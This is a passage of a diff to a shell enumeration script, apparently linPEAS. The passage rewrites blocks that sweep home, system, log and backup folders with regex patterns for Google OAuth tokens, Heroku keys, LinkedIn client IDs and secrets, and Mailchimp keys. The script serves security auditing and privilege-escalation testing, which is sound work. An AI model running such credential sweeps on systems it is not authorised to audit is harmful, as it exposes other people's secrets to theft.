| head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "ya29\.[0-9A-Za-z_\-]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "ya29\.[0-9A-Za-z_\-]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "ya29\.[0-9A-Za-z_\-]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "ya29\.[0-9A-Za-z_\-]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "ya29\.[0-9A-Za-z_\-]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "ya29\.[0-9A-Za-z_\-]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "ya29\.[0-9A-Za-z_\-]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "ya29\.[0-9A-Za-z_\-]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "ya29\.[0-9A-Za-z_\-]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "ya29\.[0-9A-Za-z_\-]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "ya29\.[0-9A-Za-z_\-]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait -print_3title "Searching Heroku API Key (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}~${SED_RED}~" & +print_3title_no_nl "Searching Heroku API Key (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait -print_3title "Searching LinkedIn Client ID (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]~${SED_RED}~" & +print_3title_no_nl "Searching LinkedIn Client ID (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait -print_3title "Searching LinkedIn Secret Key (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]~${SED_RED}~" & +print_3title_no_nl "Searching LinkedIn Secret Key (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait -print_3title "Searching Mailchamp API Key (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "[0-9a-f]{32}-us[0-9]{1,2}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[0-9a-f]{32}-us[0-9]{1,2}~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "[0-9a-f]{32}-us[0-9]{1,2}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[0-9a-f]{32}-us[0-9]{1,2}~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "[0-9a-f]{32}-us[0-9]{1,2}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[0-9a-f]{32}-us[0-9]{1,2}~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "[0-9a-f]{32}-us[0-9]{1,2}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[0-9a-f]{32}-us[0-9]{1,2}~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "[0-9a-f]{32}-us[0-9]{1,2}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[0-9a-f]{32}-us[0-9]{1,2}~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "[0-9a-f]{32}-us[0-9]{1,2}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[0-9a-f]{32}-us[0-9]{1,2}~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "[0-9a-f]{32}-us[0-9]{1,2}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[0-9a-f]{32}-us[0-9]{1,2}~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "[0-9a-f]{32}-us[0-9]{1,2}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[0-9a-f]{32}-us[0-9]{1,2}~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "[0-9a-f]{32}-us[0-9]{1,2}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[0-9a-f]{32}-us[0-9]{1,2}~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "[0-9a-f]{32}-us[0-9]{1,2}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[0-9a-f]{32}-us[0-9]{1,2}~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "[0-9a-f]{32}-us[0-9]{1,2}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[0-9a-f]{32}-us[0-9]{1,2}~${SED_RED}~" & +print_3title_no_nl "Searching Mailchamp API Key (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "[0-9a-f]{32}-us[0-9]{1,2}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9a-f]{32}-us[0-9]{1,2}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9a-f]{32}-us[0-9]{1,2}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9a-f]{32}-us[0-9]{1,2}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9a-f]{32}-us[0-9]{1,2}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9a-f]{32}-us[0-9]{1,2}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9a-f]{32}-us[0-9]{1,2}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 